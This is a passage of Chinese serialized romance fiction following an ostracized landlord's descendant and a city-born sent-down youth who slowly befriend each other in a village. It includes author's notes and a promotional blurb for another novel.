他大着嗓子叫人:“季白青,你快来帮忙把人送到卫生所去!” 季白青动作一顿,最终还是将锄头放到了一边,往树下走。 村里人见她来了,避瘟神似的自动为她让开一条路,季白青将地上的女人轻松抱起来后往卫生所去。 怀里的重量轻飘飘,正好给她省了力气。 刚进卫生所,赤脚医生张婶见是她来了,眉宇间厌恶一闪而过。 “都说了,不给地主家的狗崽子看病,你还觍着脸来干什么?” 类似的话听多了,季白青内心没有任何起伏,淡声道:“刚来的女知青昏倒了,李向东让我把她带来卫生所。” 她进了屋子,将人放在床上安置好后,也没看张婶的表情,折身回去把农具还了,这才回到自己的屋子。 季白青住得偏僻,屋子大,却很空,一眼望去荒凉又空荡,不带什么人气。 房间也多,但也只有两个房间放了东西,一个是季白青的卧室,一个是季白青爷爷季涟的房间,在季涟去世后,季白青就将其当做杂物间,各种杂物被整齐地摆放在房间里。 缸里的粮食不剩多少,季白青简单炒了个青菜就着糙米饭入口。 下午她没打算再下地,分配下来的任务她完成了,反正村里人对她厌恶至极,做到什么地步都会被人背后议论,季白青便一直我行我素。 躺在床上,她阖上眼,睡得昏昏沉沉。 梦里光怪陆离,不知为什么她又梦到从前。 一群熟悉的面孔耀武扬威地闯进季家,将所有贵重的东西洗劫一空,她被推倒,和季涟一起遭受拳打脚踢。 谩骂声夹杂着兴奋的粗喘在响起,尖脆的孩童拍手大叫:“打死她,打死她!” 季涟痛得嗷嗷大叫,丝毫不犹豫地将季白青推出去,所有瞬间谩骂劈头盖脸砸下来,身上每一处都疼得要命。 季白青弓起身子,咬着牙没有发出任何哭叫,唇被咬得出血。 痛呼声和求饶声只会是兴奋剂,让动手的人越发激动,她不声不响,反而让人觉得少了几分乐趣。 最后她被放过,躺在地上,大汗淋漓,像是一只苟延残喘的败犬。 身边是季涟哭天喊地的心疼嚎叫。 “我的东西,别搬走!” “这些都是我的东西!” 嚎叫、兴奋、粗喘,各种声音交织在一起,几乎将耳膜震破。 “你个不要脸的狗崽子!” 季白青睁开了眼,面无表情看着天花板。 屋内昏昏暗暗,屋外阴雨绵绵。 本是凉爽的天气,她却平白出了一身的汗。 她打了桶凉水,给自己冲完澡后去了季涟的坟头,挖开坟堆上的土,往里添了点肥料,好让野草长得更茂盛些。 方圆十里地,也就季涟坟头的草长得最肥最好。 眼皮耷下,季白青的语气凉凉,带着股狠厉:“季涟,下次再扰我清梦,我把你坟撅了。” 威胁一番后,季白青回去果然过了两天安生日子。 这几天知青刚到村里来,村民的讨论重心都放在了她们身上,季白青少受了些白眼。 在她们讨论时,季白青也被迫听了一耳朵。 听说有两个新来的女知青长得都很漂亮,只是有个长得跟狐媚子似的,脾气不太好。 前一天刚听到这话,第二天季白青就见到了“狐媚子”本人。 村里人都不想要挨着地主家的狗崽子干活,所以季白青一向被安排在偏僻的地方上工,不过她一个人没人盯着倒也乐得自在。 今天是在靠近后山的地上种玉米,她挥着锄头还没干多久,就听见了细微的脚步声。 也不知道是哪个倒霉蛋被分配到了她旁边,季白青没抬头,继续干自己的活。 反倒是没过多久,身边的人先对她开了口: “你好,我是新来的知青,我叫温淼。” 温淼打量着面前的青年,她长得高,却也格外清瘦,低头时后脖的骨节微微突起,皮肤很白,挥着锄头的手腕细窄,看起来格外秀致。 她第一天来云水村的时候晕倒便是被她送到了卫生所,只是她问赤脚医生将她送来的人是谁的时候,赤脚医生的回答是“狗崽子”。 问起她的名字的时候,所有人都对此避之不提,温淼没能知道她的名字。 今天上工,温淼特意让村长安排自己和“狗崽子”在一处。 感受到视线落在自己的身上,季白青握着锄头的手微微紧绷,冷淡应了一声,继续干自己的活。 她没抬头,也没有搭理自己。温淼有些失落,没有继续打扰,开始不熟练地挖地。 一上午的时间过去,季白青将玉米种了大半,再一看旁边那块地,温淼还在埋头苦干,却*堪堪将半块地翻好。 她淡淡收回视线,拎着锄头打算回去。 温淼的余光瞟到了她的动作,连忙将自己手里的锄头放下。 她还不知道对方的名字,只能拉住她的衣角。 “等等。” 季白青转过头去有些不耐烦地看向她,眼神落在她脸上的时候,忽然有些知道为什么村里的人为什么会用那种词来说她了。 女人长得妩媚,那双含着水意的桃花眼格外漂亮,只是面色还有些苍白。 只是眼神澄澈,不像狐狸。 她将自己的衣角从对方手里扯出来,拧眉问:“什么事?” 温淼这也才第一次看清她的脸,清隽秀气,瞳仁墨黑,眼皮不大高兴的耷下,看着她的时候显得有些凶。 她的目的是要感谢对方送自己去医务室,见季白青的态度不耐烦,便也有了气性,将兜里的东西掏出来塞在她怀里后便默不作声地转身回到地里。 季白青下意识接住要往下掉的东西,手绢被松松打了个结,此时散开,露出里面被包裹着的五颜六色的糖果,她的眼神从糖果上滑到温淼的后背。 她有些疑惑。 为什么给她送糖?温淼难道不知道自己的身份吗? 她想将糖还给温淼,温淼却先她一步拿着锄头走了。 一直到家,季白青都还不知道温淼给她塞糖果的用意。 回家后,她犹豫了一会儿将糖果用手绢包好,放在桌上后开始做饭。 随便应付了两口后,她下午出门干活将糖带上,准备待会儿还给温淼。 被晒了一上午的人长了记性,来的时候戴了顶草帽。 季白青走到她面前,忽略她微微诧异的脸色,将糖还给她。 “你的东西。” 说完,她打算回地里继续干活,还没转身,又被温淼拦住。 温淼有些不悦地拧眉看着她,“我只是想谢谢你那天把我送去卫生所而已,你收下,我们就谁也不欠谁了。” 温淼本就是因为不想欠季白青的人情,所以才把自己喜欢的糖都翻了出来,装上给她,谁知道她却不肯收下。 季白青将糖再度推回去,“我不要,你也不欠我。” 说完,她不再看温淼的脸色,回到地里将没种完的玉米种子撒下去。 今天的天气热,太阳照下来火辣辣的,吹过一阵风都带着热气,季白青露出来的手臂和脸颊都被晒得发红。 也不知道出于什么心思,她眯着眼睛,视线不自觉落在了正在卖力干活的温淼身上。 其实也算不上市卖力,毕竟她拿着锄头的力道就是软绵绵的,看起来不带什么力气,落下去也只能刨出一个浅坑。 散落的泥土四溅,沾上她浅色的上衣。 温淼还丝毫没有察觉。 季白青拍了拍手上的土,有些看不下去,拿着锄头走到她身边,声音清凌凌:“锄头这样拿,往前挥,小心砸到腿。” 温淼一愣,下意识跟着她所说的动作,干了一会儿,力气确实省了一些。 她停下来看向和她一起挖地的季白青,眼神有些疑惑。 “你为什么来帮我?” 季白青手上的动作不满,声音不带什么情绪。 “不是帮你,我的活干完了不能走而已。” 温淼垂眸,原来是这样。 傍晚,霞光溶溶落下,金光满地。 记分员来巡视一圈,见温淼将今天分配的任务都完成了,满意地点了点头。 “温知青今天完成的不错,给你记满工分。” 他又看了一眼隔壁的地,随后写了个五工分。 温淼眼尖看到了,有些不解。 “为什么她不是满工分?我这块地也有她的功劳。” 娇滴滴的城里知青为自己讨公道,季白青唇角轻轻勾起,眸中却不带什么温度,直勾勾看着记分员。 记分员被她阴沉沉的眼神看得直皱眉:“温知青,你少和她来往,她是地主家的狗崽子,成分不好,和她走得近可是要倒霉的!” 说完,他还要去巡视其它地方,没再多说什么,匆匆离开了。 季白青看着愣住的温淼,漫不经心地想,知道了她的真实身份后,大概就会像是村里其她人一般对她避之不及了。 她感觉有些没意思,正准备回去,却又一次被温淼拉住衣角。 温淼有些疑惑,这么急着走干什么? 挑出一颗大白兔奶糖放在她的手心,温淼说:“这是谢礼。” “明天见。” 没有给季白青拒绝的机会,温淼将她的手掌合拢,先一步离开。 只留季白青站在原地,看着手心的糖果出神。 她的谢礼,一颗糖果。 【作者有话说】 是阴郁沉默寡言版小季 晚点还有一章 感谢投雷营养液,感谢评论订阅收藏 回忆章,不想看的宝宝直接跳到下一卷[抱抱] 87 第87章 ◎一个西瓜◎ 季白青不太能够记得请上一次吃到糖是什么时候了。 她不嗜甜,又从小跟在季涟身边长大,别家小孩都爱吃糖,吃各种零嘴,家长大多也会宠着。 但是她被季涟嫌弃是个女孩,别说糖果了,在季涟富裕那几年,季白青能最大的愿望都还是能吃饱饭就好。 季涟死后,她自在许多,吃饱很容易,可如果真问她有没有吃过糖,那她还真记不清了。 攥着那颗糖果到家的时候,奶糖已经被手心的热度捂得微微融化。 季白青犹豫一会,最后还是将糖纸拨开。 奶糖被她抿进嘴里,浓郁的奶味瞬间散开,伴着过度的甜腻。 季白青几口嚼碎咽下去,心想,她果然不喜欢吃糖。 太甜了。 温淼应该留着自己吃才对- 想着至少将一颗糖果送了出去,温淼的心情好了许多,回到知青点的时候唇角也噙着点笑。 只是刚推开门,就听见几人聚在一起讨论的声音。 “听说今天温淼和村里那个狗崽子一起干活。”吴严青最先挑起了话茬。 陆延淡淡道:“那又怎么了?” 吴严青笑嘻嘻的,“陆哥,你不知道,那个狗崽子是地主的后代,村里人都讨厌她,如果温淼和她一起的话,那她不就也被村里人讨厌了。” 潘红霞有些犹豫开口:“那我们应该提醒温淼离那个人远一点。” 方海洋白眼一翻,“提醒什么啊!温淼这种不讲理的人迟早也会被村里的人嫌弃,不像我们面对她的时候还得顾忌关系装出假笑。” 他说完话后,周遭突然沉默下来。 正想问她们怎么不说话了,结果一抬头就对上了温淼那张冷冰冰的脸。 “你不想笑就别笑,方海洋,其实你笑起来的时候比不笑要丑一百倍。” 方海洋被她这话臊得脸颊发红,一时间说不出来反驳的话。 “你……” 见温淼转身回了房间,方海洋才忿忿:“我爹明明说我长得很帅!” 沈念念抬头看了眼方海洋平平无奇的脸,一时间说不出什么话来。 她尴尬转移话题:“陆延哥,温淼是不是还在记恨我们说她昨天赖床啊?可是我真的不知道她是发烧了。” 陆延应一声:“你又不是故意的,她要是在意的话,那就是她小气,和你没什么关系。” 潘红霞在一边听着这些话有些坐立不安,默不作声地回了房间。 温淼正在收拾东西,潘红霞小声道:“温淼,明天你不要和季白青一起了,离她远一点,不然要被人议论的。” 听了这话,温淼的第一反应是,原来那人叫季白青。 很好听。 温淼回过神来,对上潘红霞担心的眼,眼眸弯起,微微摇了摇头。 “谢谢你提醒,不过我不在乎这些。” 更何况,一共二十颗糖果,她才给出去一颗。 将一颗糖果作为谢礼也太过吝啬,至少……将二十颗糖果全送出去才对。 季白青是什么样的人,通过今天的接触她有了一定的了解。 她很感谢季白青,季白青到底是什么样的人她也想通过自己相处去弄清楚- 回去的当晚,季白青做了个一个梦。 她将奶糖埋进地里后,长出来一棵挂满奶糖的树,融化之后,世界的味道都是甜腻的,她的全身都被奶糖沾上,腌入味了,甜兮兮的。 醒来的时候,她仍觉心有余悸,做早饭放盐的时候特意尝了口,确定是咸的才往锅里撒。 不过也是,她压根就没买过白糖回来。 昨天温淼说的“明天见”也没被她放在心里。 原本以为今天温淼就会主动申请被调去其它地方,可到地里没多久,温淼也来了,在她旁边开始准备上工。 季白青在翻地的时候分神想,温淼是被人针对了吗?应该是有人故意将她分配到自己旁边。 今天的活和昨天的差不多,照样是种玉米,昨天季白青教过温淼拿锄头的姿势,今天她动作熟练后,速度也快了些。 但到了中午下工的时间,她往一边一看,季白青的一块地就快种完了。 自己虽然上手了,但也才翻了小半,温淼有些挫败。 季白青似乎察觉到了她的视线,抬起眼来,两双眼睛对视。 温淼眨了眨眼,还没说什么,季白青便若无其事地挪开视线。 季白青想,看她干什么?又干不完活了? 看在那颗糖的份上,倒也不是不能帮她。 下午她提前干完了活,喝了口水便去温淼的那块地上。 感受到她的存在,温淼有些不好意思,虽然是她主动提出要和季白青挨着一起干活,但她的目的不是要她一直给自己帮忙。 她慢吞吞道:“你不用帮我干,我自己可以。” 季白青的视线落在她被磨得发红的掌心,“真的可以?” 温淼难得被人小瞧,脸颊连带着颈脖都漫上了一片淡粉,桃花眼轻泛涟漪,睁圆了看向她,语气有几分逞强: “当然可以。” 季白青闻言干脆点头,拎着锄头往外走。 温淼眼睛又瞪大几分,这人……就这么走了? 她盯着人清瘦的背影看了看,季白青却没有回头。 还以为她至少会多说几句,没想到才回了一句话,季白青就走了。 温淼从一边拿起水壶拧开喝了一口,这才继续干活。 又往前挖了一段,温淼看着手心磨出来的水泡有些头疼。 她皮肤太嫩,以前从来没有干过农活,看来还需要一段适应。 也不知道今天能不能将地上这点活干完。 她默默想,如果干不完的话,应该也只是少记点工分,她也没偷懒,已经尽力了。 正在想着,突然听见了季白青微冷的声音。 “温淼。” 温淼有些茫然地抬起头。 “接着。” 季白青将手里的东西往她手上扔,温淼毫不费力地接住,低头才发现是个拳头大小的西瓜。 在抬眸一看,才发现季白青的脸上还挂着水珠,颊边的发丝也被打湿,水珠顺着尖尖的下巴往下落,最终滑到平直的锁骨上。 她没有回去? 季白青甩了甩手上的水珠,见她盯着自己发呆,以为她是不敢吃自己给的东西,她蹙着眉头解释:“没毒,吃吧。” 温淼点头,见她走到自己身边准备翻地,迟钝发问:“你不是回去了吗?” 怎么感觉有点笨? 季白青眼皮没抬,开始干活。 “去树下吃,吃完回来干活。” 温淼走到树下,将西瓜砸开。 这么小的瓜竟然也是红瓤的,咬上一口又脆又甜。 她看着地上的季白青,那截细瘦手腕上下晃动,白得晃眼。 “……她人好像还挺好的。”温淼咕哝一声。 将西瓜吃了一半,她洗了把手将另一办拿去给季白青,“喏,你也一起吃。” 季白青抬头,眯着眼睛看向站在田埂上比自己要高上一些的温淼,眼角微微下弯,金色的光线落在她纤长的睫毛上,将她的眼睫镀成淡金色。 温淼这才看清她黑眸中懒洋洋的笑意。 “吃过一个才过来的,温知青。” 温淼抿唇,低声埋怨:“你也没和我说。” 让她还误以为自己是在吃独食,特意留下来一半。 她将另一半也吃了,拿上锄头和季白青一起干活。 好不容易将这一块地都种完了,温淼松下一口气。 活干完了,季白青没有直接回去。 “温淼,明天和李向东说你不想和我分到一块,这样之后的活就好干多了。” 分给季白青的地一向都是最难翻的,给季白青的活儿也是最重的,温淼被分着和她一块,还是细皮嫩肉的城里人,肯定吃不消。 温淼有些诧异地看向她:“可是我主动要和你分在一起的。” 季白青也沉默下来,和她对视,黑眸里有些不解。 “为什么?我可以给你干活?” 温淼抿唇,“才不是。” 只是季白青送她去卫生所,又教她干活,还不愿意收下她的谢礼,她心里有些过不去。 况且知青点的那些人,她不喜欢,也融入不进去。 和季白青待在一起的感觉还不错,她不用多想什么,也没必要过多担心。 “我只是……” 温淼正想要多解释几句,突然被打断。 “淼淼,你怎么和狗崽子走这么近啊?” 侧目一看,是沈念念和潘红霞两个人。 沈念念拉着潘红霞走近温淼,似乎是对两人前几天的摩擦放下了芥蒂,毫不介意地挽着她的手,嫌弃的目光落在季白青身上。 身上穿的衣服裤子都打满补丁,因为干活全身上下都灰扑扑的,一看就觉得寒酸。 她厌恶开口:“都让你别和狗崽子走那么近了,你怎么还和她说话?” 见她们的模样,季白青没打算留下人任人羞辱,扛着锄头准备走。 温淼见状,板着脸将自己的手抽了出来。 “等等。” 她几步追上季白青,“因为我也被骂狐狸精啊。” 季白青身体一顿。 温淼继续道:“我不在乎你的身份,也没有嫌弃你。” 归根结底,她们的处境分外相似。 见她没打算再离开,温淼松了一口气,转头看向沈念念,脸色有些厌烦。 “沈念念,我不管你是什么目的,我和谁走得近是我的决定,不需要你对我指指点点。” 温淼昏倒,季白青愿意将她送到卫生所。 温淼不会干活、干不完活也是季白青来帮她,但凡温淼有点良心就不应该因为她的身份而疏远。 潘红霞见温淼脸色不大好看,只能拉着沈念念离开。 这处又只剩下季白青和温淼两人,季白青看着温淼走到自己面前,伸出她的手,红唇微弯: “我是温淼,这下可以告诉我你的名字了吗?” 她明明知道季白青的名字,却想要听她亲口说出来。 季白青看着她笑吟吟的眉眼,发现自己昨天想错了……她笑起来确实很像狐狸精,话本里吸人精魄的那种,漂亮又狡黠。 眼神下滑到她细白的手指上,季白青不动声色在裤子上擦了把手心的泥。 她与她手心短暂相贴,声音还同昨天一般带着凉意,却温和了些:“我是……季白青。” 【作者有话说】 青青:投我以奶糖,报之以西瓜 改完了,看过的宝可以再刷新一下,不过没太大的变动。 以及【回溯】这卷都是写的以前的回忆,写完之后接着现实继续,本卷更多的是小情侣之间的青涩相处之类的吧,前期沉重的部分比较少,更多是妻妻相处磨合,不喜欢这些情节的宝宝后续不要买啦,浪费晋江币还看得不高兴,这样得不偿失[抱抱][抱抱] 看有宝宝说没看懂,我在犹豫要不要剧透,还记得排雷事项里有一点吗?就是说非典型穿书,穿书是小季前期以为的穿书,实际上真实探究起来不算穿书,大概是一个为爱突破世界限制的故事,关于前情的更多的情节会在本卷展开,不喜欢的千万别买!!!【她的温淼】这一卷就是现实,可以直接从这看! 感谢投雷和营养液,感谢评论订阅收藏 最后再推荐一下祈艾老师的《这婚必须离!!!》,甜甜 祝清摔下台阶,短期记忆丧失。 闺蜜带来一个禁欲挂的成熟御姐:“介绍一下,你老婆。” 祝清嘴巴张成“O”:“哇。” 她何德何能捞得美人归。 闺蜜淡淡叙述: “你酒后乱情,把对方吃干抹净就走,事后还不认账。” 祝清:……!! 她素了二十二年,连流程都不懂,怎么可能吃干抹净! 闺蜜鄙夷道:“对,你啥也不懂把人弄很惨。不过现在没事了,人要和你协议离婚。” 找不到证据反驳,祝清还想挣扎一下。 “离婚又是为什么?” 闺蜜忍无可忍地看了她一眼:“因为你不履行伴侣义务,还家暴她。” 祝清:…这还是人吗! — 律所内,一式两份离婚协议。 黎兰刚走完秀场,从繁忙中抽出时间,屡屡看向腕表。 一个打扮清新的姑娘探出头,小心翼翼摸走协议撕掉,一脸窘迫道:“我婚后财产多,不好分割,再说我脾气挺好的,要不再商量商量……” 结婚协议到期,打死不续签的人突然要再商量? 年入千万的黎兰挑了挑眉,发挥平生最大的演技保持平静:“好。” — 出院后,祝清想起离婚原因,主动提出履行义务。 夜深,她红着脸:“那什么,我会对你温柔一点。” 黎兰目光渐深。 第二天,祝清瘫在床上,嗓子都哑了,红着眼茫然询问:“这个义务只用履行一次吧。” 黎兰慢条斯理吻了一下她红肿的唇:“哭了,就再来一次。 祝清:哇的一声……闭上嘴>< 后来祝清发现看走了眼。 黎兰哪里是忍辱负重的悲情妻子,她分明是步步为营的大尾巴狼。 吃干抹净是真,被吃的是祝清。 家暴也是真的,她常事后单方面冷暴力黎兰(微笑) 她就是那个自投罗网、引狼入室的大冤种! 离婚,必须离。 直到一天,娱乐之夜聚会,某三线小明星邀请黎兰共舞,祝清杀红眼冲到黎兰面前:“不准跳,你是我的!” 黎兰下意识揽住她的腰:“好,我是你的。” 年上体贴大方占有欲强腹黑攻vs又怂又爱玩引火烧身俏皮受 88 第88章 ◎哼◎ 两人相安无事地相处了大半个月,她们的边界感都强,虽然在一起干活,但却很少互相搭话。 季白青本身就话少,温淼和她不算太熟,每天沉默居多。 唯一不变的是,每次她给温淼搭把手干活后,温淼都会坚持要给她一颗糖果,糖果有各种颜色,五彩缤纷,最后都被季白青收在小盒子里放置。 花花绿绿的糖果被摆放在没什么生机的屋子里,显得有些格格不入。 季白青偶尔回家躺在床上的时候会想,两人现在的关系算是朋友吗? 只是每次刚冒出了这个念头又会被自己亲手打消。 一个是京市来的一眼看上去就知道家境优越的大小姐,一个是村里被众人排挤孤立的地主家的狗崽子,怎么看都不可能成为朋友。 身份差异是摆在两人之间难以逾越的鸿沟,也就是温淼对她的态度同别人相比太过温和,才让她会多出这些无端的幻想。 季白青轻笑一声,漆黑又沉静的夜晚,可以听出她的笑声中所带的几分嘲意。 再次见到温淼,她变回了一直以来的沉默冷淡模样。 原本温淼并没察觉到多少,虽然她和季白青相处了不短的一段时间,但季白青在她面前,话也一直不多。 两三天过去后,温淼后知后觉地感受到她有意的疏远后还有些茫然。 季白青是在和自己赌气吗? 她怎么突然不高兴了? 下工后季白青再次被温淼拦住,季白青莫名怯于同她对视,将视线轻放在她凹陷的精致锁骨。 女人望向她的漂亮眉眼带了几分疑色,轻声询问:“季白青,我让你生气了吗?” 季白青摇头,眼神又落在她搭在自己衣服上的纤细手指上,不知道该怎么解释。 被她的视线烫到,温淼收回手,有些不自在地咬住唇瓣。 几秒后,她才再度开口,语气肯定:“你就是生我气了,不然为什么会想要疏远我。” 季白青虽然对任何人和事都冷淡,但在这之前偶尔还是会叫一次温淼的名字。 季白青喜欢叫她温淼多过温知青,清冷的声音每次叫她的名字的时候,都让她想到同样清凉的薄荷草。 而这几天来,季白青原本就少的话变得更少。 对自己的称呼也全都换成了更为疏离的“温知青”。 季白青倒也没有想到温淼这么敏锐地察觉到,面对她的疑问,其实大方承认就好。 她却不知道出于什么心理,并不想要直接承认。 她微微敛着眉,轻声否认:“没有。” 更何况这本就不是事实,她哪来这么大的本事,还敢对温淼生气。 她没再看温淼,只丢下一句话:“温知青,我该回去做饭了,你也早点回去吧。” 说完,她头也不回地离开。 一阵风吹来,将季白青身上穿着的不大合身的衣服往后吹,勾勒出一截纤瘦的腰肢。 温淼看着她的背影,心里带了些失落。 前段时间特意去供销社买的糖好像也没了用处。 第二天再去上工,季白青等了一会儿,意料之中没有等到熟悉的人。 邻近的那块地少了一个人,只剩她一个人孤零零地站着。 季白青呆了一会儿,默不作声低头继续干活。 接下来几天她也没再见到温淼的身影,季白青又恢复了一直以来的独来独往。 温淼的出现像是一滴不大的雨点,溅在她的心间,只带起了微末的波澜。 波澜渐消,毫无踪迹,也对季白青的生活没有任何改变。 只身一人是她早已经习惯了的常态。 只是偶尔看到路边开的无名小野花,季白青会突然冒出一个念头。 ——如果是温淼看见这花的话,大概会被吸引得走不动道。 这样的念头也如昙花一现。 偶尔在去仓库还农具的时候,听到她人讨论村里的知青,她才知道原来温淼和其她的知青不和。 只是温淼脾气极大,不肯让自己吃到一点亏,其她五个知青被她按着欺负。 这一点优点,放在村民的嘴里,似乎也被打成了十恶不赦的缺点。 季白青垂眸,心想,明明是优点才对。 明艳恣意的人怎么会愿意被人随意欺负,就像是对她,知道了她有意要远离之后,温淼不会委屈自己,而是毫不犹豫地选择让她如愿。 只是这天她刚下工回家,怎么也没有想到,会在家附近的竹林里听见女人绵软破碎的呜咽。 如果是别人,她自然不会多管闲事。 只是她听出来,这是温淼的声音。 怎么自己一个人躲起来偷偷哭? 季白青不自觉皱起了眉,在竹林外踌躇良久,最后还是悄然走了进去。 脚落在松软堆积的竹叶上,自然会发出些许动静。 沙沙的脚步声传进温淼的耳中,原本坐在石块上抱着双腿掉眼泪的人将脸往腿间埋了埋。 原本以为自己不搭理,对方肯定就会识趣地离开。 没想到,女人清泠泠的声音传来。 “温知青,你坐在这挡着我挖笋了。” 温淼听见这话,好不容易止住的眼泪又涌了出来,闷声闷气回复:“你去其它地方。” 没看到她正在哭吗?而且她坐下来的时候怎么不知道周围有笋?! 季白青将刚才回去拿的手帕捏在指尖,语气生硬:“我就想挖你旁边的。” 温淼猛地抬起头来瞪着她,那双漂亮至极的桃花眼蒙上了一层水雾,眼周桃粉漫开,本就美艳的脸显得越发昳丽。 她吼她:“没看见我在哭吗?” 季白青沉默着蹲下身,将手中的手帕按在她眼下,为她擦去那点泪。 “骗你的,只是想给你擦擦眼泪。”她轻声道。 说不出来什么感受,两人不再说话。 一个默默地掉泪珠子,一个默默给流泪的人擦眼泪。 季白青分出心神想,她难道是水做的吗?一次性竟然能掉下这么多眼泪。 她从开始记事以来,就再也没哭过。 只在季涟去世的那天掉了几滴眼泪,高兴的。 哭到最后,温淼的情绪渐渐稳定下来。 看着面前青年秀致的脸上没有一点不耐,她有些不解,问:“你不是讨厌我吗?” 为什么还这么耐心地给她擦眼泪? 女人刚哭过的声音软绵绵的,有几分像是撒娇。 季白青被她问得一愣,“我什么时候说过讨厌你了?” 温淼又瞪她:“你的行为说的。” 那么明显地想要和她划开界限,她又不是傻子。 季白青不知道怎么回答,最后只是将那一方手帕放在了温淼的手心。 她避开了这个问题,低声道:“天色不早了,你快点回去吧。” 不讨厌你,她只敢心里回答。 温淼摇头,执着于得到一个回复,想要站起来,却发现因为保持着一个姿势,腿早就已经麻了。 她伸出一只手,见季白青有些茫然地看着她,努了努嘴。 “拉我一下呀!” 季白青将她拉起来,温淼本就腿麻,被拉着站起来后还是没能立刻站稳,一下跌进了季白青的怀里。 怀里猛地被塞进了一具柔软的身体,季白青的身体一时间有些僵硬,不敢有动作。 感受到对方的僵硬,温淼撑着她的肩膀出来,站稳了身体。 她没忍住开口:“至于那么嫌弃我吗?” 温淼虽然知道自己的性格不讨喜,但也不至于不小心撞进她怀里也要被她嫌弃吧。 季白青知道她误会了,最后还是没忍住解释:“……不是嫌弃,只是不习惯。” 温淼抬眼看她,这才发现她藏在黑发下白玉似的耳垂染上了绯红。 她顿时一愣,有些不自在地挪开视线。 “喔。” 原本低落的心情好上一些,眼见着周围渐渐黒沉下来,朦胧月光往下撒,她也知道再待下去不安全。 走出竹林,身后响着另一个人轻巧的脚步声,随后声音渐渐变小。 一直到知青点,温淼扭过头去,原本以为季白青已经离开了,转头的时候却发现了她没走多远的背影。 所以刚才是一直跟在她的身后吗? 明明是她最开始想要疏远自己的,现在又亲自送她到知青点,到底是什么意思啊?温淼有些不了解。 但是她却的心情却奇异地轻盈了一些。 回到知青点,其她的五个知青已经开始吃饭了,一见到温淼回来,原本欢声笑语的氛围瞬间凝滞下来。 温淼眼睛没抬一下,去灶房将自己的饭盛了出来。 刚在桌上坐下,沈念念就开口了:“淼淼,我今天还以为你不回来吃饭了,所以没做你的饭……” 她欲言又止地看着温淼:“你的饭是给男知青他们的,他们的胃口要大一些,只吃一碗肯定吃不饱。” 见温淼的脸色微冷,沈念念泫然欲泣,小声道:“都怪我少做了,你要不吃我的份吧?明天陆延他们都要上工,晚上吃不饱的话很难熬的。” 温淼继续挑着碗里的饭吃,没搭理沈念念。 一边的沈念念的脸色逐渐尴尬起来,求救地看向陆延他们。 “陆延哥,都怪我……” 陆延打断她:“行了,下次多做点吧。还有温淼,下次你回来吃饭的话提前和念念说。” 温淼轻笑一声,莫名看了陆延一眼,眸中泛上冷意:“我不回知青点吃饭去哪吃?两个耳朵中间挂了个脑袋不知道自己好好想想吗?” 一通话将几个人都骂了一遍,在场的几个人脸色都有些难看。 温淼本来就不是多有胃口,听她们你一嘴我一嘴说完后更是食欲尽失。 但还是将碗里的吃完了。 下乡后她知道粮食都很珍贵,更何况她不多吃点,那她的口粮就得被分给别人了- 上次撞见温淼哭的事,季白青和温淼两人谁也没有再提。 一个多月的时间过去,两人很少再有见面的机会。 季白青的生活恢复成以往的单调。 周六下了一场不小的雨,想着家里的粮食没剩下多少,季白青周日背着背篓上了山。 这时候来山上挖野菜、捡菌子的人也不少,季白青不想和她们碰上,便挑了挑偏僻些的路。 随手折了几把蕨菜和荠菜扔进筐里,她恰好找到了一颗山李树,青色果皮的李树让人看起来就口齿生津。 她摘了些熟的,捡了十几个就收了手。 昨天刚下雨,现在的泥土和地上的枯枝败叶还是湿润的,一夜过后,菌菇早就冒出头来了。 找了个树枝将枯叶扒开,季白青开始捡菌子。 正专心将枞菌捡起来放进背篓里,季白青耳朵一动,听见了点儿动静。 有其她人来了。 正打算将这一片枞菌都采了,待会儿换个地方,她就听见熟悉的声音响起。 “季白青?” 季白青扭头一看,来人果然是温淼。 见她看过来,温淼的唇角微扬,“好巧。” 季白青揉了揉眉心,确实挺巧的,特意找了个人少的地方,也不知道是怎么被温淼找发现的,两人还刚好碰上。 温淼刚才转了一圈迷了路,不知道该怎么下去,这下见到了熟人,总算是松了口气。 她几步走到季白青身边,见她放在大片叶子上的菌子,有些惊讶:“这些不都是有毒的吗?” 季白青瞟了眼她背上竹篓里的菌子,沉默一瞬,额角微微一跳。 “……你捡的才是有毒的,快倒掉。” 和季白青对视一会儿,温淼乖乖将背篓里的白森森的蘑菇倒出来。 季白青将那些能毒死人的蘑菇踩碎,带着温淼找了条小溪洗手。 怕对方再专门采毒蘑菇,季白青叮嘱:“你跟着我,跟我采一样的。” 温淼点头。 最后跟在季白青身后采到了不少枞菌。 季白青见背篓差不多被装满,看向温淼,“回去了。” 温淼点头,眼神扫过一片土坡,最后眼神一亮。 “等等,季白青。” 季白青疑惑的眼神落在她身上,温淼往土坡边走了几步,“这土坡上好像都是凉薯。” 她之前背过姑姑的医书,上面的藤蔓和这长得差不多。 季白青狐疑地看了她一眼,这人蘑菇都认不全,还认识凉薯? 温淼捡了个棍子开*始掘土,最后还真被她挖出来一个手掌大的凉薯。 她拎起来给季白青看,笑得眉眼弯弯,有些得意:“我就说!” 这一块都是凉薯,大可以瞒着别人挖回去子慢慢吃。 温淼想着,正打算将手上挖出来的凉薯给季白青,结果往前走了一步,不小心踩到一块打滑的石头,她脚踝一扭,跌坐在地上。 长裤上瞬间沾上一片泥土,连带着脸上、露出来的白藕般的手臂上溅得都是。 像只花猫。 凉薯咕噜在地上转了一圈,恰好滚到季白青的面前。 温淼被季白青睁大的眼看得有些丢脸,伸出手挡在自己的面前。 季白青半蹲下身,看她有些发红的脚踝,才敢触碰到,就听见温淼的吸气声。 她没敢再动,问出句废话:“还能自己站起来吗?” 温淼的手微微落下,露出那双潋滟的美眸,显得有些可怜。 “不能……”她小声回答。 季白青微微叹了一口气,将背上的背篓解下,最后在她面前蹲下身。 “上来,我背你下山。” 温淼看着她清瘦的背,又有些纠结:“可我不是很轻。” 还不轻?季白青忽然想起上次将人送去卫生所时感受到的猫似的重量。 “很轻了,我能背得动,上来。” 听她这么说,温淼看了洒在地上的菌子,又小声要求:“刚捡的菌子都撒了,我先捡起来行吗?” 季白青没想到她还惦记着这个,只能和她一起将散落在地后还完好的菌子捡起来放进背篓。 “现在能上来了吗?” 温淼拍了拍手心的泥,这才攀上她的肩膀。 季白青托着她的腿弯,看了眼被放在一边的装得满满当当的背篓,再看看落在她胸前纤细的手,最终还是决定先让它在这放一会儿。 “凉薯不挖了吗?” “把你送下去再上来。” 背后是女人柔软的身体,温淼的每一次呼吸都轻轻地落在她的后颈,温热又潮湿,不知道在什么时候,鼻尖开始萦绕着属于对方的馥郁馨香。 季白青的体温很热,温淼的手臂和她光裸的肩颈接触,只感觉烫得不行。 她有几分不自在,发现走到半山腰后才犹豫开口询问:“你累不累呀?” 